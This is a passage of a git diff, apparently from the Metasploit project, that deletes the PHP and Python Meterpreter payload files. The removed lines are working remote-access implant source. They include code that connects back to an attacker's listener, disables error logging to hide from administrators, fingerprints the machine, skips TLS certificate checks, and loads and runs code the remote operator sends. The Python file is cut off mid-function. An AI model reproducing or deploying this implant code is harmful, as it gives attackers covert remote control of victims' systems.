but not all. - # Keep track of the un-bracketed address for the functions that don't like - # brackets, specifically socket_connect and socket_sendto. - $ipf = AF_INET; - $raw_ip = $ipaddr; - if (FALSE !== strpos($ipaddr, ":")) { - $ipf = AF_INET6; - $ipaddr = "[". $raw_ip ."]"; - } - - # Prefer the stream versions so we don't have to use both select functions - # unnecessarily, but fall back to socket_create if they aren't available. - if (is_callable('stream_socket_client')) { - my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})"); - $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}"); - my_print("Got a sock: $sock"); - if (!$sock) { return false; } - if ($proto == 'tcp') { - register_stream($sock); - } elseif ($proto == 'udp') { - register_stream($sock, $ipaddr, $port); - } else { - my_print("WTF proto is this: '$proto'"); - } - } else - if (is_callable('fsockopen')) { - my_print("fsockopen"); - if ($proto == 'tcp') { - $sock = fsockopen($ipaddr,$port); - if (!$sock) { return false; } - if (is_callable('socket_set_timeout')) { - socket_set_timeout($sock, 2); - } - register_stream($sock); - } else { - $sock = fsockopen($proto."://".$ipaddr,$port); - if (!$sock) { return false; } - register_stream($sock, $ipaddr, $port); - } - } else - if (is_callable('socket_create')) { - my_print("socket_create"); - if ($proto == 'tcp') { - $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); - $res = socket_connect($sock, $raw_ip, $port); - if (!$res) { return false; } - register_socket($sock); - } elseif ($proto == 'udp') { - $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); - register_socket($sock, $raw_ip, $port); - } - } - - return $sock; -} - -function eof($resource) { - $ret = false; - switch (get_rtype($resource)) { - # XXX Doesn't work with sockets. - case 'socket': break; - case 'stream': - # We set the socket timeout for streams opened with fsockopen() when - # they are created. I hope this is enough to deal with hangs when - # calling feof() on socket streams, but who knows. This is PHP, - # anything could happen. Some day they'll probably add a new function - # called stream_eof() and it will handle sockets properly except for - # some edge case that happens for every socket except the one or two - # they tested it on and it will always return false on windows and - # later they'll rename it to real_stream_eof_this_language_isretarded(). - # - # See http://us2.php.net/manual/en/function.feof.php , specifically this: - # If a connection opened by fsockopen() wasn't closed by the server, - # feof() will hang. To workaround this, see below example: - # 0) { - $buff .= fread($resource, $md['unread_bytes']); - break; - } else { - #$len = 1; - $tmp = fread($resource, $len); - $buff .= $tmp; - if (strlen($tmp) < $len) { - break; - } - } - - if ($resource != $msgsock) { my_print("buff: '$buff'"); } - $r = Array($resource); - } - my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff))); - break; - default: - # then this is possibly a closed channel resource, see if we have any - # data from previous reads - $cid = get_channel_id_from_resource($resource); - $c = get_channel_by_id($cid); - if ($c and $c['data']) { - $buff = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - my_print("Aha! got some leftovers"); - } else { - my_print("Wtf don't know how to read from resource $resource, c: $c"); - if (is_array($c)) { - dump_array($c); - } - break; - } - } - my_print(sprintf("Read %d bytes", strlen($buff))); - return $buff; -} - -function write($resource, $buff, $len=0) { - global $udp_host_map; - if ($len == 0) { $len = strlen($buff); } - #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource))); - $count = false; - switch (get_rtype($resource)) { - case 'socket': - if (array_key_exists((int)$resource, $udp_host_map)) { - my_print("Writing UDP socket"); - list($host,$port) = $udp_host_map[(int)$resource]; - $count = socket_sendto($resource, $buff, $len, $host, $port); - } else { - $count = socket_write($resource, $buff, $len); - } - break; - case 'stream': - $count = fwrite($resource, $buff, $len); - fflush($resource); - break; - default: my_print("Wtf don't know how to write to resource $resource"); break; - } - return $count; -} - -function get_rtype($resource) { - global $resource_type_map; - if (array_key_exists((int)$resource, $resource_type_map)) { - return $resource_type_map[(int)$resource]; - } - return false; -} - -function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { - $streams_r = array(); - $streams_w = array(); - $streams_e = array(); - - $sockets_r = array(); - $sockets_w = array(); - $sockets_e = array(); - - if ($r) { - foreach ($r as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_r[] = $resource; break; - case 'stream': $streams_r[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($w) { - foreach ($w as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_w[] = $resource; break; - case 'stream': $streams_w[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($e) { - foreach ($e as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_e[] = $resource; break; - case 'stream': $streams_e[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - - $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); - $n_streams = count($streams_r) + count($streams_w) + count($streams_e); - #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec"); - $r = array(); - $w = array(); - $e = array(); - - # Workaround for some versions of PHP that throw an error and bail out if - # select is given an empty array - if (count($sockets_r)==0) { $sockets_r = null; } - if (count($sockets_w)==0) { $sockets_w = null; } - if (count($sockets_e)==0) { $sockets_e = null; } - if (count($streams_r)==0) { $streams_r = null; } - if (count($streams_w)==0) { $streams_w = null; } - if (count($streams_e)==0) { $streams_e = null; } - - $count = 0; - if ($n_sockets > 0) { - $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); } - if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); } - if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); } - $count += $res; - } - if ($n_streams > 0) { - $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } - if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } - if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } - $count += $res; - } - #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); - return $count; -} - -function add_reader($resource) { - global $readers; - if (is_resource($resource) && !in_array($resource, $readers)) { - $readers[] = $resource; - } -} - -function remove_reader($resource) { - global $readers; - #my_print("Removing reader: $resource"); - #dump_readers(); - if (in_array($resource, $readers)) { - foreach ($readers as $key => $r) { - if ($r == $resource) { - unset($readers[$key]); - } - } - } -} - - -## -# Main stuff -## - -ob_implicit_flush(); - -# For debugging -#error_reporting(E_ALL); -# Turn off error reporting so we don't leave any ugly logs. Why make an -# administrator's job easier if we don't have to? =) -error_reporting(0); - -@ignore_user_abort(true); -# Has no effect in safe mode, but try anyway -@set_time_limit(0); -@ignore_user_abort(1); -@ini_set('max_execution_time',0); - - -# If we don't have a socket we're standalone, setup the connection here. -# Otherwise, this is a staged payload, don't bother connecting -if (!isset($GLOBALS['msgsock'])) { - # The payload handler overwrites this with the correct LHOST before sending - # it to the victim. - $ipaddr = '127.0.0.1'; - $port = 4444; - my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } -} else { - # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or - # stream) in $msgsock_type - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - # fall through - default: - register_stream($msgsock); - } -} -add_reader($msgsock); - -# -# Main dispatch loop -# -$r=$GLOBALS['readers']; -$w=NULL;$e=NULL;$t=1; -while (false !== ($cnt = select($r, $w, $e, $t))) { - #my_print(sprintf("Returned from select with %s readers", count($r))); - $read_failed = false; - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $request = read($msgsock, 8); - #my_print(sprintf("Read returned %s bytes", strlen($request))); - if (false==$request) { - #my_print("Read failed on main socket, bailing"); - # We failed on the main socket. There's no way to continue, so - # break all the way out. - break 2; - } - $a = unpack("Nlen/Ntype", $request); - # length of the whole packet, including header - $len = $a['len']; - # packet type should always be 0, i.e. PACKET_TYPE_REQUEST - $ptype = $a['type']; - while (strlen($request) < $a['len']) { - $request .= read($msgsock, $len-strlen($request)); - } - #my_print("creating response"); - $response = create_response($request); - - write($msgsock, $response); - } else { - #my_print("not Msgsock: $ready"); - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write($msgsock, $request); - } - } - } - } - # $r is modified by select, so reset it - $r = $GLOBALS['readers']; -} # end main loop -my_print("Finished"); -my_print("--------------------"); -close($msgsock); diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py deleted file mode 100644 index a39fde22ae..0000000000 --- a/data/meterpreter/meterpreter.py +++ /dev/null @@ -1,774 +0,0 @@ -#!/usr/bin/python -import code -import os -import platform -import random -import select -import socket -import struct -import subprocess -import sys -import threading -import time -import traceback - -try: - import ctypes -except ImportError: - has_windll = False -else: - has_windll = hasattr(ctypes, 'windll') - -# this MUST be imported for urllib to work on OSX -try: - import SystemConfiguration as osxsc - osxsc.SCNetworkInterfaceCopyAll() - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] - if sys.version_info[0] < 3: - urllib = __import__('urllib2', fromlist=urllib_imports) - else: - urllib = __import__('urllib.request', fromlist=urllib_imports) -except ImportError: - has_urllib = False -else: - has_urllib = True - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -# -# Constants -# - -# these values may be patched, DO NOT CHANGE THEM -DEBUGGING = False -HTTP_COMMUNICATION_TIMEOUT = 300 -HTTP_CONNECTION_URL = None -HTTP_EXPIRATION_TIMEOUT = 604800 -HTTP_PROXY = None -HTTP_USER_AGENT = None -PAYLOAD_UUID = "" - -PACKET_TYPE_REQUEST = 0 -PACKET_TYPE_RESPONSE = 1 -PACKET_TYPE_PLAIN_REQUEST = 10 -PACKET_TYPE_PLAIN_RESPONSE = 11 - -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 -ERROR_FAILURE_PYTHON = 2 -ERROR_FAILURE_WINDOWS = 3 - -CHANNEL_CLASS_BUFFERED = 0 -CHANNEL_CLASS_STREAM = 1 -CHANNEL_CLASS_DATAGRAM = 2 -CHANNEL_CLASS_POOL = 3 - -# -# TLV Meta Types -# -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) -TLV_META_TYPE_QWORD = (1 << 20) -TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) -# not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) - -# -# TLV base starting points -# -TLV_RESERVED = 0 -TLV_EXTENSIONS = 20000 -TLV_USER = 40000 -TLV_TEMP = 60000 - -# -# TLV Specific Types -# -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 - -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 - -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 - -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 -TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 - -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 - -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 - -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 - -TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 -TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 - -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 - -TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 -TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 -TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 -TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 - -EXPORTED_SYMBOLS = {} -EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING - -def export(symbol): - EXPORTED_SYMBOLS[symbol.__name__] = symbol - return symbol - -def generate_request_id(): - chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in range(32)) - -@export -def crc16(data): - poly = 0x1021 - reg = 0x0000 - if is_str(data): - data = list(map(ord, data)) - elif is_bytes(data): - data = list(data) - data.append(0) - data.append(0) - for byte in data: - mask = 0x80 - while mask > 0: - reg <<= 1 - if byte & mask: - reg += 1 - mask >>= 1 - if reg > 0xffff: - reg &= 0xffff - reg ^= poly - return reg - -@export -def error_result(exception=None): - if not exception: - _, exception, _ = sys.exc_info() - exception_crc = crc16(exception.__class__.__name__) - if exception_crc == 0x4cb2: # WindowsError - return error_result_windows(exception.errno) - else: - result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON) - return result - -@export -def error_result_windows(error_number=None): - if not has_windll: - return ERROR_FAILURE - if error_number == None: - error_number = ctypes.windll.kernel32.GetLastError() - if error_number > 0xffff: - return ERROR_FAILURE - result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) - return result - -@export -def inet_pton(family, address): - if hasattr(socket, 'inet_pton'): - return socket.inet_pton(family, address) - elif has_windll: - WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA - lpAddress = (ctypes.c_ubyte * 28)() - lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) - if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: - raise Exception('WSAStringToAddress failed') - if family == socket.AF_INET: - return ''.join(map(chr, lpAddress[4:8])) - elif family == socket.AF_INET6: - return ''.join(map(chr, lpAddress[8:24])) - raise Exception('no suitable inet_pton functionality is available') - -@export -def packet_enum_tlvs(pkt, tlv_type = None): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = str(val.split(NULL_BYTE, 1)[0]) - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - val = struct.unpack('>Q', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - yield {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - raise StopIteration() - -@export -def packet_get_tlv(pkt, tlv_type): - try: - tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] - except IndexError: - return {} - return tlv - -@export -def tlv_pack(*args): - if len(args) == 2: - tlv = {'type':args[0], 'value':args[1]} - else: - tlv = args[0] - data = "" - if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - data = struct.pack('>III', 12, tlv['type'], tlv['value']) - elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: - data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) - elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') - else: - value = tlv['value'] - if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': - value = value.encode('UTF-8') - elif not is_bytes(value): - value = bytes(value, 'UTF-8') - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(value), tlv['type']) + value - return data - -#@export -class MeterpreterFile(object): - def __init__(self, file_obj): - self.file_obj = file_obj - - def __getattr__(self, name): - return getattr(self.file_obj, name) -export(MeterpreterFile) - -#@export -class MeterpreterSocket(object): - def __init__(self, sock): - self.sock = sock - - def __getattr__(self, name): - return getattr(self.sock, name) -export(MeterpreterSocket) - -#@export -class MeterpreterSocketClient(MeterpreterSocket): - pass -export(MeterpreterSocketClient) - -#@export -class MeterpreterSocketServer(MeterpreterSocket): - pass -export(MeterpreterSocketServer) - -class STDProcessBuffer(threading.Thread): - def __init__(self, std, is_alive): - threading.Thread.__init__(self) - self.std = std - self.is_alive = is_alive - self.data = bytes() - self.data_lock = threading.RLock() - - def run(self): - for byte in iter(lambda: self.std.read(1), bytes()): - self.data_lock.acquire() - self.data += byte - self.data_lock.release() - - def is_read_ready(self): - return len(self.data) != 0 - - def peek(self, l = None): - data = bytes() - self.data_lock.acquire() - if l == None: - data = self.data - else: - data = self.data[0:l] - self.data_lock.release() - return data - - def read(self, l = None): - self.data_lock.acquire() - data = self.peek(l) - self.data = self.data[len(data):] - self.data_lock.release() - return data - -#@export -class STDProcess(subprocess.Popen): - def __init__(self, *args, **kwargs): - subprocess.Popen.__init__(self, *args, **kwargs) - self.echo_protection = False - - def start(self): - self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) - self.stdout_reader.start() - self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) - self.stderr_reader.start() - - def write(self, channel_data): - self.stdin.write(channel_data) - self.stdin.flush() - if self.echo_protection: - end_time = time.time() + 0.5 - out_data = bytes() - while (time.time() < end_time) and (out_data != channel_data): - if self.stdout_reader.is_read_ready(): - out_data = self.stdout_reader.peek(len(channel_data)) - if out_data == channel_data: - self.stdout_reader.read(len(channel_data)) -export(STDProcess) - -class PythonMeterpreter(object): - def __init__(self, socket=None): - self.socket = socket - self.driver = None - self.running = False - self.communications_active = True - self.communications_last = 0 - if self.socket: - self.driver = 'tcp' - elif HTTP_CONNECTION_URL: - self.driver = 'http' - self.last_registered_extension = None - self.extension_functions = {} - self.channels = {} - self.interact_channels = [] - self.processes = {} - for func in list(filter(lambda x: x.startswith('_core'), dir(self))): - self.extension_functions[func[1:]] = getattr(self, func) - if self.driver: - if hasattr(self, 'driver_init_' + self.driver): - getattr(self, 'driver_init_' + self.driver)() - self.running = True - - def debug_print(self, msg): - if DEBUGGING: - print(msg) - - def driver_init_http(self): - opener_args = [] - scheme = HTTP_CONNECTION_URL.split(':', 1)[0] - if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): - import ssl - ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) - ssl_ctx.check_hostname=False - ssl_ctx.verify_mode=ssl.CERT_NONE - opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) - if HTTP_PROXY: - opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY})) - opener = urllib.build_opener(*opener_args) - if HTTP_USER_AGENT: - opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] - urllib.install_opener(opener) - self._http_last_seen = time.time() - self._http_request_headers = {'Content-Type': 'application/octet-stream'} - - def register_extension(self, extension_name): - self.last_registered_extension = extension_name - return self.last_registered_extension - - def register_function(self, func): - self.extension_functions[func.__name__] = func - return func - - def register_function_windll(self, func): - if has_windll: - self.register_function(func) - return func - - def add_channel(self, channel): - assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) - idx = 0 - while idx in self.channels: - idx += 1 - self.channels[idx] = channel - return idx - - def add_process(self, process): - idx = 0 - while idx in self.processes: - idx += 1 - self.processes[idx] = process - return idx - - def get_packet(self): - packet = getattr(self, 'get_packet_' + self.driver)() - self.communications_last = time.time() - if packet: - self.communications_active = True - return packet - - def send_packet(self, packet): - getattr(self, 'send_packet_' + self.driver)(packet) - self.communications_last = time.time() - self.communications_active = True - - def get_packet_http(self): - packet = None - request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers) - try: - url_h = urllib.urlopen(request) - packet = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - if packet: - packet = packet[8:] - else: - packet = None - return packet - - def send_packet_http(self, packet): - request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers) - try: - url_h = urllib.urlopen(request) - response = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - - def get_packet_tcp(self): - packet = None - if len(select.select([self.socket], [], [], 0.5)[0]): - packet = self.socket.recv(8) - if len(packet) != 8: - self.running = False - return None - pkt_length, pkt_type = struct.unpack('>II', packet) - pkt_length -= 8 - packet = bytes() - while len(packet) < pkt_length: - packet += self.socket.recv(pkt_length - len(packet)) - return packet - - def send_packet_tcp(self, packet): - self.socket.send(packet) - - def run(self): - while self.running: - request = None - should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5) - self.communications_active = False - if should_get_packet: - request = self.get_packet() - if request: - response = self.create_response(request) - self.send_packet(response) - else: - # iterate over the keys because self.channels could be modified if one is closed - channel_ids = list(self.channels.keys()) - for channel_id in channel_ids: - channel = self.channels[channel_id] - data = bytes() - if isinstance(channel, STDProcess): - if not channel_id in self.interact_channels: - continue - if channel.stderr_reader.is_read_ready(): - data = channel.stderr_reader.read() - elif channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, MeterpreterSocketClient): - while len(select.select([channel.fileno()], [], [], 0)[0]): - try: - d = channel.recv(1) - except socket.error: - d = bytes() - if len(d) == 0: - self.handle_dead_resource_channel(channel_id) - break - data += d - elif isinstance(channel, MeterpreterSocketServer): - if len(select.select([channel.fileno()], [], [], 0)[0]): - (client_sock, client_addr) = channel.accept() - server_addr = channel.getsockname() - client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) - pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) - pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) - pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) - pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - if data: - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def handle_dead_resource_channel(self, channel_id): - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - pkt = struct.pack('>I', PACKET_TYPE_REQUEST) - pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') - pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) - pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.send_packet(pkt) - - def _core_uuid(self, request, response): - response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID) - return ERROR_SUCCESS, response - - def _core_machine_id(self, request, response): - def get_hdd_label(): - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - for p in ['ata-', 'mb-']: - if f[:len(p)] == p: - return f[len(p):] - return "" - - serial = '' - machine_name = platform.uname()[1] - if has_windll: - from ctypes import wintypes - - k32 = ctypes.windll.kernel32 - sys_dir = ctypes.create_unicode_buffer(260) - if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260): - return ERROR_FAILURE_WINDOWS - - vol_buf = ctypes.create_unicode_buffer(260) - fs_buf = ctypes.create_unicode_buffer(260) - serial_num = wintypes.DWORD(0) - - if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]), - vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None, - None, fs_buf, ctypes.sizeof(fs_buf)): - return ERROR_FAILURE_WINDOWS - serial_num = serial_num.value - serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) - else: - serial = get_hdd_label() - - response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) - return ERROR_SUCCESS, response - - def _core_loadlib(self, request, response): - data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) - if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: - return ERROR_FAILURE - - self.last_registered_extension = None - symbols_for_extensions = {'meterpreter':self} - symbols_for_extensions.update(EXPORTED_SYMBOLS) - i = code.InteractiveInterpreter(symbols_for_extensions) - i.runcode(compile(data_tlv['value'], '', 'exec')) - extension_name = self.last_registered_extension - - if extension_name: - check_extension = lambda x: x.startswith(extension_name) - lib_methods = list(filter(check_extension, list(self.extension_functions.keys()))) - for method in lib_methods: - response += tlv_pack(TLV_TYPE_METHOD, method) - return ERROR_SUCCESS, response - - def _core_shutdown(self, request, response): - response += tlv_pack(TLV_TYPE_BOOL, True) - self.running = False - return ERROR_SUCCESS, response - - def _core_channel_open(self, request, response): - channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_open_' + channel_type['value'] - if handler not in self.extension_functions: - return error_result(NotImplementedError), response - handler = self.extension_functions[handler] - return handler(request, response) - - def _core_channel_close(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - if isinstance(channel, subprocess.Popen): - channel.kill() - elif isinstance(channel, MeterpreterFile): - channel.close() - elif isinstance(channel, MeterpreterSocket): - channel.close() - else: - return ERROR_FAILURE, response - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_eof(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - result = False - if isinstance(channel, MeterpreterFile): - result = channel.tell() >= 